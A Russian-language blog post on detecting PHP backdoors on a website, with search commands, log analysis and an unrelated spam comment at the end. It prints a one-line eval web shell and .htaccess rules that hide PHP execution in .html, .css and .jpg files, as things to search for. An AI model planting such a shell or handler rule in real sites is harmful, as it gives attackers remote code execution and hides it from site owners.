Самый короткий пример позволяющий исполнить произвольный php код удаленно:
eval($_REQUEST['phpshell']);
1. Поискать на сайте «опасные» функции:
а) eval() – исполняем php код
б) passthru(), exec() и им подобные – испололняем команду ОС
в) fopen(), chmod(), touch(), … – функции для работы с файловой системой
Для того чтобы искать, понадобится шелл доступ и некоторые знания *nix комманд. Пример, как найти в текущей директории рекурсивно все *.php файлы содержащие функцию eval()
find ./ -name "*.php" -print | xargs grep "eval("
Пример, как найти последние измененные файлы за неделю:
find ./ -mtime -7 -name "*.php" -prune -print
find – великолепная утилита для поиска в никсах, но синтаксис сложно запомнить, для ленивых есть отличный онлайн find помощник .
2. Проверить .htaccess файлы на наличие чего нибудь подозрительного. Например можно засунуть php код в *.html так
RewriteEngine on
RewriteRule ^(.*)\.html $1\.php
Или даже в css и jpg, чтоб никто не догадался!
AddHandler application/x-httpd-php .php .css .jpg
3. Анализируем логи. Если известно примерное время, после которого замечен бэкдор, то можно поискать подозрительное в логах. Хотя на сайте с высокой посещаемостью это будет нелегко.
Пример:
"GET /path/footer.inc.php?act=edit&file=/home/account/public_html/.htaccess HTTP/1.1"
200 4795 "http://website/path/footer.inc.php?act=filemanager" "Mozilla/5.0..."
Многие наивно думают, что не используя самописные скрипты – застрахованы от зловредов. Это не так. Шелл-код нередко встречается и в CMS и форумах. Обычно этим грешат нулленые версии. А иногда и в плагинах.
Ну и наконец полезные ссылки по теме:
Бэкдоры: PhpRemoteView , r57shell
NeoPI скрипт на Питоне для поиска «опасного» кода
Статья на securitylab.ru
Источник http://fstrange.ru/coder/php/backdoor-shell-remview.html
Hi there, I found your web site by the use of Google whilst searching for a comparable matter, your site got here up, it seems to be good. I have bookmarked it in my google bookmarks.